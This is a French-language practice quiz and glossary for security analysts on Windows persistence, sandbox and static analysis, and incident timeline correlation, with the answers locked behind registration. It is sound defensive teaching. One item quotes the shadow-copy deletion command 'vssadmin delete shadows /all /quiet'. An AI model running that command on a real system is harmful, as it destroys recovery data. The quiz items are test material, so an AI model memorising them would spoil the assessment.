Une valeur Run propre à un utilisateur pointe vers un exécutable dans son profil itinérant. Quel événement déclenche normalement son démarrage automatique ?
  1. Le démarrage de l’ordinateur
  2. La création de la charge utile
  3. L’ouverture de session de cet utilisateur
  4. Le passage de chaque intervalle de trente minutes
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 7 sur 10

Une charge utile non signée possède à la fois une nouvelle entrée Run et une tâche qui se déclenche toutes les 20 minutes. Un analyste supprime la valeur Run et réinitialise le mot de passe de l’utilisateur, mais la même charge utile redémarre avant la prochaine ouverture de session. Qu’est-ce qui explique cette réapparition et que faut-il examiner ?
  1. La tâche peut la relancer ; consigner son action et examiner les autres déclencheurs
  2. La clé Run s’est restaurée ; consigner seulement l’ancien chemin de registre
  3. La réinitialisation a laissé un jeton actif ; vérifier les sessions sans examiner les tâches
  4. Le fichier est resté présent ; le supprimer sans consigner la tâche
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 8 sur 10

Un nouveau service Windows lance un exécutable non signé depuis un dossier public. Où l’analyste peut-il rechercher son événement d’installation ?
  1. Événement de sécurité 4624 ou événement Sysmon 22
  2. Événement PowerShell 4104 ou événement Sysmon 2
  3. Événement de sécurité 4720 ou événement Sysmon 15
  4. Événement système 7045 ou événement de sécurité 4697
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 9 sur 10

Une charge utile affiche une ancienne date de création, mais Sysmon enregistre sa création pendant l’incident, puis un événement 2 provenant du même processus. Peu après, ce processus crée des parties d’archive et ouvre une connexion sortante. Que doit conclure et vérifier l’analyste ?
  1. La date affichée prime ; considérer la charge utile comme ancienne et sans rapport avec l’incident
  2. Une falsification des horodatages est plausible ; vérifier les fichiers préparés par rapport au processus d’envoi
  3. L’événement 2 établit un chiffrement ; signaler le contenu des archives comme des enregistrements volés confirmés
  4. La chronologie d’un même processus établit le vol ; signaler chaque octet préparé comme transféré avec succès
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 10 sur 10

Une chaîne suspecte issue d’un document lance vssadmin delete shadows /all /quiet. Pourquoi cela exige-t-il une escalade urgente ?
  1. La commande supprime des copies de rétablissement et peut précéder un chiffrement par rançongiciel
  2. La commande établit que tous les fichiers utilisateur ont déjà été chiffrés
  3. La commande ne supprime que l’index de sauvegarde et laisse intactes les copies de rétablissement
  4. La commande prouve un nettoyage autorisé par un outil d’administration Windows intégré
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Série 4 : Compare la réputation, les indices statiques et le comportement en bac à sable10 Questions Pratiques

Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.

Question 1 sur 10

Les octets d’un fichier restent inchangés, mais son nom change. Qu’arrive-t-il à son empreinte SHA-256 ?
  1. L’empreinte du contenu reste la même
  2. L’empreinte change avec le nom
  3. L’empreinte change avec son extension
  4. L’empreinte change avec son chemin de fichier
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 2 sur 10

Un signalement d’abus concernant une adresse IP date de six mois et porte sur une adresse cloud partagée. Que faut-il vérifier avant de bloquer la connexion actuelle ?
  1. La ville GeoIP comme identité de l’opérateur actuel
  2. Le score historique comme conclusion permanente sur le client
  3. L’utilisation actuelle, le comportement local et l’impact collatéral
  4. Le titulaire actuel comme preuve que le trafic est sûr
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 3 sur 10

Un classeur interne confidentiel possède une empreinte inconnue. Un exécutable signé associé présente 2/68 détections et une chaîne de processus non approuvée. Quel plan d’analyse traite correctement les deux constats ?
  1. Analyser publiquement le classeur et approuver l’exécutable peu détecté
  2. Analyser le classeur en privé et approuver l’exécutable signé
  3. Renommer et téléverser le classeur, puis considérer 2/68 comme une conclusion finale
  4. Analyser le classeur en privé et examiner le comportement de l’exécutable
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 4 sur 10

Un fichier supposé être un PDF commence par 4D 5A. Quelle est la prochaine vérification utile de son type ?
  1. Accepter le nom PDF comme son format réel
  2. Examiner la structure d’exécutable et consigner son empreinte
  3. Utiliser MZ seul pour identifier une famille de logiciels malveillants
  4. Classer le fichier d’après son nom de PDF, sans vérifier sa structure interne
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 5 sur 10

Un échantillon PE contient peu de chaînes ASCII, peu d’importations, des sections UPX et une URL distinctive en UTF-16LE. Des programmes d’installation connus comme sains présentent la même entropie élevée et les mêmes noms d’importation courants. Comment une investigation assistée par YARA doit-elle traiter la recherche de correspondances et le suivi ?
  1. Rechercher le texte large pertinent, tester les correspondances bénignes et observer le comportement en exécution contrôlée
  2. Rechercher seulement les importations ASCII courantes, ignorer les tests bénins et considérer l’entropie élevée comme malveillante
  3. Rechercher l’URL seulement en ASCII, tester des fichiers bénins et considérer les chaînes absentes comme un comportement absent
  4. Rechercher les deux encodages de texte, ignorer les tests bénins et considérer chaque fichier compressé correspondant comme malveillant
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 6 sur 10

Une expression régulière extrait 999.12.4.8 comme texte ressemblant à une adresse IPv4. Que doit faire l’analyste de ce résultat ?
  1. L’accepter, car une correspondance d’expression régulière garantit la validité de l’adresse
  2. Rechercher sa localisation GeoIP avant de vérifier les plages numériques
  3. Le conserver comme indicateur parce que son motif à points correspond
  4. Le rejeter comme adresse non valide après vérification des octets
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 7 sur 10

Une règle YARA exige à la fois MZ au décalage zéro et une correspondance avec au moins l’une des chaînes A et B. L’échantillon X possède MZ au décalage zéro et B dans un encodage large pris en charge. L’échantillon Y possède MZ uniquement au décalage 20 ainsi que A et B. Quel échantillon correspond à la règle, et pourquoi ?
  1. Les deux ; la chaîne supplémentaire de Y compense le décalage différent de son en-tête
  2. X seulement ; l’exigence de décalage et la branche autorisée B sont toutes deux satisfaites
  3. Y seulement ; interpréter l’une ou l’autre chaîne comme exigeant les deux simultanément
  4. Aucun ; ignorer la correspondance large même si la règle prend en charge son encodage
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 8 sur 10

Une exécution de document en bac à sable ne dispose pas de l’application nécessaire pour traiter ses macros et ne montre aucun processus enfant. Que faut-il faire ensuite ?
  1. Clore comme bénin parce qu’aucun processus enfant n’est apparu
  2. Classer comme évasion sur la seule base de l’application manquante
  3. Relancer avec l’application requise et consigner la configuration
  4. Répéter des profils inchangés et calculer la moyenne de leurs scores de conclusion
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 9 sur 10

Un bac à sable signale un exécutable déposé et une entrée Run. Il répertorie aussi une connexion de vérification de certificat du système d’exploitation qu’une exécution de référence saine reproduit. Comment utiliser ces constats pour les recherches en production ?
  1. Bloquer toutes les adresses IP du rapport comme communications provoquées par l’échantillon
  2. Rechercher la charge utile et l’entrée Run ; exclure la connexion de référence
  3. Rechercher seulement l’empreinte ; approuver le nom Run familier
  4. Rechercher seulement le domaine ; écarter les artefacts contradictoires de l’hôte
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 10 sur 10

L’examen statique révèle une longue attente et une URL de téléchargement. Une courte exécution isolée se termine avant la fin de l’attente ; une exécution plus longue atteint l’URL, mais les services réseau simulés ne disposent pas de la ressource demandée. Qu’est-ce qui est étayé et que faut-il tester ensuite ?
  1. Compter la tentative de récupération comme une exécution réussie de la charge utile
  2. Prolonger encore l’exécution sans résoudre le problème de la ressource manquante
  3. Approuver l’étape dépendante du réseau sur la base de son inactivité actuelle
  4. Retenir la tentative observée ; tester les étapes suivantes avec une réponse contrôlée fournissant la ressource
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Série 5 : Rapproche les preuves et transmets le dossier10 Questions Pratiques

Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.

Question 1 sur 10

Une console de terminal affiche 16:18:40 en UTC+4. Quelle est l’heure UTC correspondante ?
  1. 20 h 18 min 40 s UTC
  2. 12 h 18 min 40 s UTC
  3. 16 h 18 min 40 s UTC
  4. 04 h 18 min 40 s UTC
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 2 sur 10

Un transfert sortant dans le pare-feu est horodaté à 13 h 06 UTC. L’EDR indique un démarrage de processus à 15 h 04 en UTC+2, mais l’horloge de l’EDR est connue pour retarder de deux minutes. DHCP montre que l’adresse appartenait à l’hôte B jusqu’à 13 h 05 UTC, puis à l’hôte C. Quelle association hôte-heure doit servir de base à la suite de la corrélation ?
  1. Hôte B à 13 h 04 UTC, après conversion du fuseau sans correction de l’horloge
  2. Hôte C à 13 h 02 UTC, en soustrayant les décalages du fuseau et de l’horloge
  3. Hôte C à 13 h 06 UTC, avec une heure de processus corrigée également à 13 h 06 UTC
  4. Hôte B à 15 h 06 UTC, en ajoutant deux minutes sans normaliser le fuseau
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 3 sur 10

Des preuves issues d’un courriel relient une pièce jointe malveillante à une chaîne Word/PowerShell et à une entrée Run sur l’hôte D. Plus tard, 1,8 Go sont envoyés vers la même adresse IP partagée. L’EDR attribue ce transfert à l’agent de sauvegarde approuvé utilisant son service documenté. Comment la chronologie doit-elle traiter ce transfert ?
  1. Le conserver comme événement de sauvegarde expliqué, distinct de la chaîne d’infection confirmée
  2. Le rattacher comme exfiltration confirmée, car l’adresse IP correspond à celle du téléchargement
  3. Supprimer le constat d’infection, car un événement possède une explication légitime
  4. Le rattacher à une commande et un contrôle Web, car le logiciel de sauvegarde utilise normalement une destination chiffrée
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 4 sur 10

Un bac à sable montre PowerShell et une entrée Run, mais aucune preuve n’explique comment l’échantillon est parvenu à l’utilisateur. Quelles correspondances ATT&CK sont étayées ?
  1. Transmission par hameçonnage et exécution de PowerShell
  2. Transmission par hameçonnage et exfiltration par C2
  3. Persistance par clé Run et déplacement latéral confirmé
  4. Exécution de PowerShell et persistance par clé Run
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 5 sur 10

Une règle détecte le PowerShell encodé. Son alerte correspond à un script de déploiement approuvé et vérifié, lancé par l’agent de déploiement. Comment classer cette détection ?
  1. Un constat de faux positif
  2. Un constat de faux négatif
  3. Un vrai positif bénin
  4. Un constat non concluant
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 6 sur 10

Un analyste clôt une alerte de processus malveillant avec la mention « programme de mise à jour attendu » parce que le nom de la tâche lui est familier. La cible n’est pas signée, se trouve dans un dossier public, a été créée après l’exécution d’un document suspect et aucun enregistrement de déploiement n’existe. Quelle décision est justifiée ?
  1. Laisser l’alerte close, car le nom de la tâche prouve l’identité de l’éditeur
  2. La rouvrir et examiner la cible, les horaires et l’autorisation
  3. La laisser close, car les dossiers publics sont des chemins approuvés de mise à jour
  4. Exclure le nom de la tâche par réglage, car le code non signé explique l’alerte
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 7 sur 10

Un intervenant reçoit une capture recueillie et son empreinte SHA-256, mais aucun historique de collecte ou de transfert. Quel enregistrement de préservation des preuves manque ?
  1. La personne ayant recueilli la capture, les personnes l’ayant manipulée et les horaires de transfert
  2. La requête ayant produit les alertes à partir de la capture
  3. Les valeurs SHA-256 des fichiers exportés depuis la capture
  4. Les noms d’hôtes déduits des paires d’adresses capturées
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 8 sur 10

Une infection par document est confirmée sur un serveur de grande valeur. Un transfert sortant volumineux reste sans attribution et l’agent fonctionne toujours correctement. Le scénario de réponse prévoit un isolement et une collecte de triage. Quels transmission et action correspondent à ces faits ?
  1. Collecter et isoler, mais reporter l’escalade jusqu’à ce que le transfert prouve une perte de données
  2. Procéder à l’escalade de l’infection et du vol de données comme faits confirmés, puis isoler l’hôte
  3. Procéder à l’escalade de l’infection, éteindre immédiatement l’hôte et collecter ensuite la mémoire des processus
  4. Procéder à l’escalade et suivre les étapes de collecte et d’isolement ; laisser l’attribution du transfert ouverte
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 9 sur 10

Des enregistrements non échantillonnés d’une connexion montrent que l’hôte E envoie 240 Mo de 10 h à 10 h 04 et 360 Mo de 10 h 04 à 10 h 10 ; les enregistrements du sens inverse couvrent les mêmes dix minutes avec un total de 6 Mo. Son débit sortant normal est de 0,5 Mo/s. Un échantillonneur de paquets indépendant ne possède aucun échantillon correspondant. Comment interpréter le débit sortant et le constat ?
  1. L’hôte E a envoyé à 1 Mo/s, deux fois sa référence ; l’échantillon vide ne permet pas de déterminer le but
  2. L’hôte E a envoyé à 0,5 Mo/s, comme sa référence ; additionner les durées des deux sens et clore l’alerte
  3. L’hôte E a envoyé à 1 Mo/s, deux fois sa référence ; l’échantillon manquant confirme un vol de données
  4. L’hôte E a envoyé à 0 Mo/s ; écarter les enregistrements non échantillonnés faute de paquet échantillonné
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 10 sur 10

Un bac à sable montre un programme de téléchargement qui contacte un domaine et crée une entrée Run distinctive. Le DNS de production montre ce domaine sur six hôtes, mais l’EDR ne confirme l’empreinte du fichier déposé et la cible Run que sur deux ; l’historique des terminaux manque pour les quatre autres. Quelle affirmation sur le périmètre est justifiée ?
  1. Six hôtes sont infectés de façon confirmée, car une même requête DNS établit l’exécution de la charge utile sur chacun
  2. Seuls deux hôtes ont été exposés, car les événements EDR manquants invalident les quatre autres observations DNS
  3. Deux hôtes présentent des artefacts correspondants confirmés ; six ont des pistes DNS, dont quatre nécessitent d’autres preuves
  4. L’infection dans le bac à sable n’est pas confirmée, car des artefacts de production ont été trouvés sur moins de six hôtes
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Tu bloques sur ton propre exercice ? Aide aux Devoirs

Mots-Clés

103 Mots-Clés, chacun avec sa définition

A

Abonnement aux événements WMI
Un abonnement aux événements WMI lie un filtre d’événement à une action de consommateur, permettant une exécution automatisée lorsque l’événement choisi se produit.
L’analyste relie les enregistrements Sysmon du filtre, du consommateur et de leur liaison pour reconstituer le déclencheur persistant.
Algorithme de génération de noms de domaine
Un algorithme de génération de noms de domaine crée de nombreux noms candidats qu’un logiciel malveillant peut essayer jusqu’à trouver une infrastructure disponible de l’attaquant.
Une longue série de requêtes renvoyant NXDOMAIN pour des noms d’apparence aléatoire précède la première connexion réussie.
Alignement des domaines
L’alignement des domaines est la relation exigée entre un domaine de messagerie authentifié et le domaine From visible lors d’une vérification DMARC.
L’alignement souple accepte les sous-domaines d’un même domaine organisationnel ; le mode strict exige une correspondance exacte.
Analyse statique
L’analyse statique examine un fichier sans l’exécuter, en utilisant son type, son contenu lisible et sa structure pour identifier des pistes d’investigation.
L’analyste extrait le texte des macros et les chaînes réseau avant de choisir ce que le bac à sable devra observer.
Arbre des processus
Un arbre des processus montre les relations parent-enfant entre les instances de processus et aide à retracer quelle application a initié les actions ultérieures.
Word lance un interpréteur de commandes, qui lance PowerShell puis un exécutable nouvellement écrit.
Authentication-Results
Un en-tête Authentication-Results enregistre les résultats d’authentification d’un système de réception ; ils ne sont utiles que dans son périmètre de confiance.
L’analyste ignore une copie fournie par l’expéditeur et lit le résultat ajouté par la passerelle de l’organisation.

B

Bac à sable
Un bac à sable est un environnement isolé et instrumenté qui exécute un échantillon et enregistre ses actions dans des conditions contrôlées.
Le rapport relie l’exécution d’un document à un programme téléchargé et à une nouvelle entrée de démarrage automatique.
Balayage horizontal
Un balayage horizontal sonde le même port de service sur plusieurs hôtes cibles afin d’identifier les systèmes qui proposent ce service.
Un analyste vérifie l’autorisation lorsqu’un poste de travail contacte le port 445 de nombreux autres postes.
Balayage vertical
Un balayage vertical sonde plusieurs ports sur un seul hôte cible afin d’identifier les services susceptibles d’être à l’écoute ou accessibles.
Une source tente de joindre de nombreux ports destination sur le même serveur en quelques secondes.
Beaconing
Le beaconing est une communication répétée d’un logiciel malveillant avec un serveur de commande et contrôle, souvent à l’aide d’une minuterie et de petits échanges similaires.
Des connexions régulières conduisent l’équipe à vérifier la destination et le processus avant de les classer comme commande et contrôle.
Biais de confirmation
Le biais de confirmation privilégie les informations qui étayent une théorie existante tout en négligeant les preuves qui pourraient l’affaiblir ou la remplacer.
L’analyste vérifie un ticket de maintenance même après que plusieurs événements ont d’abord suggéré une intrusion.

C

Camouflage
Le camouflage déguise un processus ou un fichier en élément de confiance à l’aide d’un nom, d’un emplacement ou d’autres attributs visibles trompeurs.
Un nom de processus ressemblant à un nom système pointe vers un exécutable dans un dossier public accessible en écriture aux utilisateurs.
Capture de paquets
Une capture de paquets stocke les en-têtes des paquets et la charge utile capturée par un capteur, ce qui permet un examen détaillé d’un échange.
Un analyste récupère la capture de la minute où un poste de travail a contacté pour la première fois un serveur suspect.
Chaîne de traçabilité des preuves
Une chaîne de traçabilité des preuves consigne qui a recueilli, manipulé ou transféré les preuves et quand, documentant leur manipulation depuis leur collecte.
Une entrée de transfert et l’empreinte SHA-256 enregistrée du fichier permettent à un intervenant de vérifier l’élément reçu.
Clé Run
Une clé Run est un emplacement de démarrage automatique du registre Windows qui lance les programmes configurés à l’ouverture de session, pour un utilisateur ou pour l’ensemble de la machine.
La nouvelle valeur Run de l’utilisateur pointe vers un programme non signé créé juste après l’exécution d’un document.
Corrélation
La corrélation relie les preuves à l’aide de champs communs et de relations temporelles afin que les observations de différentes sources puissent être vérifiées ensemble.
L’analyste relie l’empreinte d’une pièce jointe au fichier ouvert par une instance de processus précise.

D

Décalage de l’horloge
Un décalage de l’horloge est la différence entre l’horloge d’une source et l’heure de référence, qui nécessite une correction en plus de la conversion du fuseau horaire.
Les notes du dossier indiquent qu’un capteur retarde de deux minutes afin que ses événements puissent être alignés précisément.
Détermination du périmètre de la campagne
La détermination du périmètre de la campagne établit l’étendue d’une campagne de messages suspects en retrouvant les destinataires, les interactions et l’activité ultérieure sur les comptes ou les hôtes.
Un courriel signalé conduit à dresser une liste des copies remises, des visiteurs du lien et des comptes touchés.
Détonation
La détonation consiste à exécuter un échantillon suspect dans un environnement d’analyse contrôlé afin d’observer le comportement qu’il produit pendant cette exécution.
L’analyste consigne le système d’exploitation, la prise en charge des applications et la durée avec le rapport de détonation.
Détournement de fil de discussion
Le détournement de fil de discussion consiste à insérer un message d’attaquant dans une conversation existante pour exploiter son contexte et la confiance des participants.
Une demande de redirection d’une facture arrive dans un échange réel avec la boîte aux lettres compromise d’un fournisseur.
DKIM
DKIM vérifie la signature numérique d’un domaine portant sur certains en-têtes et sur le contenu du corps d’un message, à l’aide d’une clé publique publiée dans le DNS.
Un message peut conserver une signature DKIM valide après transfert si le contenu signé reste inchangé.
DMARC
DMARC vérifie l’alignement d’une identité SPF ou DKIM valide sur le domaine From visible et publie le traitement demandé en cas d’échec.
La réussite d’un domaine signataire sans rapport ne peut pas authentifier le From visible par DMARC.
DNS
Le système de noms de domaine, ou DNS, fournit les enregistrements associés aux noms, notamment les adresses, serveurs de messagerie, alias et textes.
Une réponse A fournit une adresse IPv4 qui peut être comparée à la connexion ultérieure d’un poste de travail.
DNS passif
Le DNS passif enregistre dans le temps les associations observées entre domaines et adresses, ce qui aide à examiner les utilisations antérieures des noms et de l’infrastructure.
Les associations historiques aident à déterminer si un domaine utilisait l’adresse IP suspecte pendant la fenêtre de l’incident.

É

Échantillonnage
L’échantillonnage observe une fraction sélectionnée des paquets, ce qui permet d’estimer le trafic tout en risquant de manquer certains événements courts.
Un paquet échantillonné sur mille donne une estimation globale du volume, mais peut manquer une connexion brève.
Équipement non autorisé
Un équipement non autorisé est un matériel connecté à un réseau sans autorisation, que son trafic actuel soit malveillant ou non.
Un bail DHCP inconnu est comparé aux enregistrements des actifs et à la liste d’enrôlement des équipements approuvés.
Établissement de connexion TCP
L’établissement de connexion TCP est l’échange SYN, SYN-ACK et ACK qui établit une connexion et révèle son initiateur.
Un client utilisant un port élevé envoie le premier SYN ; le service répond en inversant les adresses et les ports.
État de connexion
Un état de connexion résume le déroulement d’un échange observé, comme une tentative sans réponse ou une session TCP fermée normalement.
De nombreuses entrées S0 et REJ provenant d’une source aident à expliquer pourquoi un balayage a généré peu de données applicatives.
État de fonctionnement du capteur
L’état de fonctionnement du capteur décrit si un agent de terminal est installé, actif, transmet ses données et est configuré pour collecter la télémétrie pertinente.
L’équipe vérifie la dernière transmission de l’agent avant d’interpréter l’historique d’événements vide de l’hôte.
Évasion de bac à sable
L’évasion de bac à sable retarde ou modifie le comportement malveillant lorsqu’un échantillon détecte des conditions d’analyse ou ne trouve pas l’environnement attendu.
Une courte exécution inactive est répétée avec une interaction utilisateur pour vérifier si l’échantillon attendait des clics.

E

EDR
La détection et réponse sur les terminaux enregistre l’activité des hôtes, détecte les comportements suspects et fournit des actions d’investigation et de réponse à distance.
Une alerte de processus mène à la chronologie de l’hôte, au fichier déposé et à la connexion sortante du programme.
Empreinte floue
Une empreinte floue permet de comparer la similarité de fichiers et aide à regrouper des échantillons apparentés même lorsque leurs empreintes exactes diffèrent.
Deux charges utiles modifiées sont comparées pour leur similarité après que les recherches d’empreintes exactes n’ont pas réussi à les relier.
Empreinte TLS
Une empreinte TLS résume les caractéristiques de la négociation pour aider à regrouper les clients dont les paramètres et les implémentations du protocole sont similaires.
La même empreinte sur plusieurs hôtes devient une piste pour comparer leurs processus responsables.
En-tête From
L’en-tête From contient l’adresse d’expéditeur visible d’un message et fournit le domaine par rapport auquel l’alignement DMARC est vérifié.
L’analyste compare le domaine visible aux domaines ayant réussi les vérifications SPF et DKIM.
En-tête HTTP Host
L’en-tête HTTP Host identifie l’hôte visé dans une requête HTTP et aide à distinguer les domaines qui partagent une même adresse IP.
L’analyste lit Host dans le flux en clair avant de relier une connexion IP au domaine d’hameçonnage.
En-tête Received
Un en-tête Received enregistre un relais de traitement du courriel et est ajouté en tête par le serveur destinataire, plaçant les relais récents au-dessus des plus anciens.
L’entrée de la passerelle fiable fournit l’adresse IP de connexion même lorsque les relais déclarés plus bas sont falsifiés.
Encodage pour cent
L’encodage pour cent représente un caractère par un signe pour cent et des chiffres hexadécimaux, masquant souvent la structure d’une URL dans des paramètres.
Le décodage de %3A et %2F rend l’URL intégrée lisible sans visiter sa destination.
EncodedCommand
EncodedCommand est une option PowerShell qui accepte une commande représentée sous forme de texte UTF-16LE encodé en Base64.
Après le décodage Base64, l’analyste interprète les octets en UTF-16LE pour lire le script.
Encrypted Client Hello
Encrypted Client Hello, ou ECH, protège des observateurs passifs les informations du Client Hello, comme le nom de serveur réellement demandé.
La capture de paquets contient toujours les horaires et les tailles, même lorsque le nom visé est masqué par ECH.
Enregistrement de flux
Un enregistrement de flux résume dans le temps les paquets partageant une clé réseau, en conservant les nombres et les métadonnées du trafic sans la charge utile.
L’historique à long terme des flux montre si la destination d’une alerte était nouvelle pour le poste de travail avant cette alerte.
Entropie
L’entropie mesure l’incertitude des valeurs des octets, jusqu’à 8 bits par octet ; les données compressées ou chiffrées présentent souvent des valeurs élevées.
Un programme d’installation à forte entropie nécessite tout de même du contexte, car une compression ordinaire peut produire le même indice.
Exécution sans fichier
L’exécution sans fichier exécute du code sans exiger son enregistrement sur disque sous la forme d’un fichier exécutable conventionnel.
Un pipeline de téléchargement transmet directement le texte d’un script à PowerShell pour exécution, laissant des preuves dans les processus.
Expéditeur de l’enveloppe
L’expéditeur de l’enveloppe est l’adresse de retour SMTP utilisée en cas d’échec de remise, normalement enregistrée par le destinataire dans Return-Path.
Un service de diffusion utilise son propre domaine d’enveloppe tout en affichant l’adresse From de son client.
Expression régulière
Une expression régulière décrit un motif textuel pour la recherche ou l’extraction ; les résultats correspondants nécessitent encore une validation de leur sens.
Un motif textuel ressemblant à une adresse IPv4 trouve des valeurs candidates dont les octets sont ensuite vérifiés.

F

Falsification des horodatages
La falsification des horodatages modifie les horodatages des fichiers pour masquer le moment où un artefact est apparu ou a été utilisé, faisant paraître une activité récente plus ancienne.
Un fichier affiche une ancienne date de création, mais un événement Sysmon de modification d’horodatage se produit pendant l’intrusion.
Faux négatif
Un faux négatif est une activité malveillante sur laquelle une détection n’a pas déclenché d’alerte, découverte grâce à une autre source ou à une investigation ultérieure.
Des preuves rétrospectives du terminal révèlent une exécution que les règles d’alerte initiales ont manquée.
Faux positif
Un faux positif est une alerte sur une activité qui se situe en dehors de ce que sa détection devait identifier, produisant une correspondance incorrecte.
Une règle visant un code d’exploitation précis se déclenche sur un contenu ordinaire qui correspond accidentellement à son motif.
Fichier authorized_keys
Un fichier authorized_keys répertorie les clés publiques SSH autorisées à authentifier l’accès à un compte, créant un accès indépendant de son mot de passe.
Une nouvelle clé inexpliquée est préservée avant sa suppression, car une réinitialisation du mot de passe laisserait cette voie ouverte.
Filtre d’affichage
Un filtre d’affichage sélectionne les paquets enregistrés que Wireshark montre sans supprimer ceux qui sont masqués dans la vue actuelle.
Retirer le filtre d’affichage DNS fait réapparaître les autres protocoles capturés dans la liste des paquets.
Filtre de capture
Un filtre de capture sélectionne les paquets avant leur enregistrement, à l’aide de la syntaxe BPF dans tcpdump et les paramètres de capture de Wireshark.
L’analyste capture largement le trafic d’un hôte afin d’éviter d’écarter un second canal de communication inattendu.
Fraude au courriel professionnel
La fraude au courriel professionnel est une fraude par courriel fondée sur l’usurpation d’identité qui vise à obtenir des paiements, des informations sensibles ou des modifications d’instructions métier.
Un message authentifié d’un fournisseur demande un nouveau compte bancaire sans contenir de lien ni de pièce jointe.

G

GeoIP
GeoIP estime la localisation géographique associée à une adresse IP, décrivant généralement une infrastructure plutôt qu’un utilisateur identifié avec certitude.
La ville indiquée pour un point de terminaison cloud reste distincte de toute affirmation sur la localisation de l’attaquant.
Gigue
La gigue est une variation ajoutée aux intervalles de communications répétées, qui peut rendre moins régulier un schéma de contacts automatisés.
Une séquence centrée autour de cinq minutes paraît toujours automatisée, même si chaque intervalle diffère légèrement.
GUID de processus
Un GUID de processus est un identifiant unique d’instance de processus qui maintient les événements liés même lorsqu’un système d’exploitation réutilise un PID numérique.
Deux processus ayant le même PID à des jours différents restent distincts dans les preuves Sysmon.

H

Hameçonnage
L’hameçonnage consiste à envoyer un message frauduleux qui cherche à provoquer une action nuisible, comme révéler des identifiants, envoyer de l’argent ou exécuter du contenu.
Un message pousse un utilisateur à contourner la procédure normale d’approbation avant une prétendue fermeture de compte.
Hameçonnage ciblé
L’hameçonnage ciblé vise des personnes ou des groupes sélectionnés à l’aide de détails choisis pour rendre la demande pertinente et crédible à leurs yeux.
Un attaquant cite un projet réel lorsqu’il demande à son contact financier d’ouvrir un document.
Homoglyphe
Un homoglyphe est un caractère qui ressemble à un autre, permettant à un domaine de ressembler à un nom de confiance tout en étant écrit différemment.
Le punycode révèle qu’un domaine ressemblant commence par un caractère cyrillique au lieu de la lettre latine.

I

Identifiant uid de Zeek
Un identifiant uid de Zeek est un identifiant de connexion utilisé pour relier les enregistrements d’un même échange dans les journaux de connexion et de protocoles Zeek.
Un pivot sur l’uid rapproche une requête HTTP de la durée et du nombre d’octets de sa connexion.
Imphash
Un imphash est une empreinte dérivée des fonctions importées par un exécutable Windows, utilisée pour aider à regrouper les programmes dont les importations sont similaires.
Le regroupement fondé sur les importations fournit une piste pour comparer des échantillons d’exécutables apparentés.
Indicateur de compromission
Un indicateur de compromission est une valeur ou un artefact observable utilisé pour examiner une possible activité d’intrusion et trouver des preuves associées.
L’empreinte d’une pièce jointe et le chemin d’une URL dans un courriel deviennent des recherches distinctes dans la passerelle de messagerie et les enregistrements des terminaux.
IPFIX
IPFIX est une norme de l’IETF qui permet d’exporter des informations de flux réseau à l’aide de modèles décrivant les champs de chaque enregistrement.
Un collecteur lit les modèles de l’exportateur avant d’interpréter les adresses et les compteurs d’octets des nouveaux enregistrements.

L

LaunchAgent et LaunchDaemon
Les LaunchAgents et LaunchDaemons sont des éléments de lancement macOS configurés par des fichiers de listes de propriétés pour exécuter des programmes dans des contextes utilisateur ou système.
Un nouvel élément de lancement pointe vers un exécutable inattendu : son déclencheur et sa cible sont donc préservés pour examen.
LOLBin
Un LOLBin est un programme système légitime qu’un attaquant détourne pour des actions comme le téléchargement ou l’exécution de code.
Les arguments de l’utilitaire signé montrent un téléchargement distant que son application parente n’avait aucune raison de demander.

M

Marque du Web
La marque du Web est une métadonnée d’origine Windows, souvent stockée dans Zone.Identifier, qui peut identifier un contenu obtenu depuis Internet.
Le flux alternatif préservé d’une pièce jointe enregistrée contient une URL qui relie le fichier à sa source de téléchargement.
MDM
La gestion des appareils mobiles enrôle et gère les appareils mobiles à l’aide de politiques, d’un inventaire, de vérifications de conformité et d’actions à distance.
Un inventaire d’applications montre une application d’accès à distance non approuvée sur une tablette gérée.
Message-ID
Un Message-ID est un identifiant attribué à un message par son système expéditeur, utile pour retrouver les enregistrements de messagerie associés.
L’analyste inclut le Message-ID original dans la requête du dossier pour retrouver les événements de remise.
MITRE ATT&CK
MITRE ATT&CK décrit les tactiques et les techniques adverses pour nommer les comportements observés, sans imposer une séquence d’attaque fixe.
L’artefact de clé Run étaye une correspondance avec la persistance, tandis que la transmission par hameçonnage nécessite des preuves distinctes issues du courriel.
Mutex
Un mutex est un objet de synchronisation qui permet à un seul fil d’exécution à la fois d’accéder à une ressource partagée ; les logiciels légitimes utilisent aussi des mutex.
Le nom distinctif du mutex d’un échantillon devient une piste de recherche après avoir été relié à la charge utile observée.

N

NAT
La traduction d’adresses réseau, ou NAT, réécrit les informations d’adressage entre les réseaux et peut masquer l’identité des hôtes internes à un capteur extérieur.
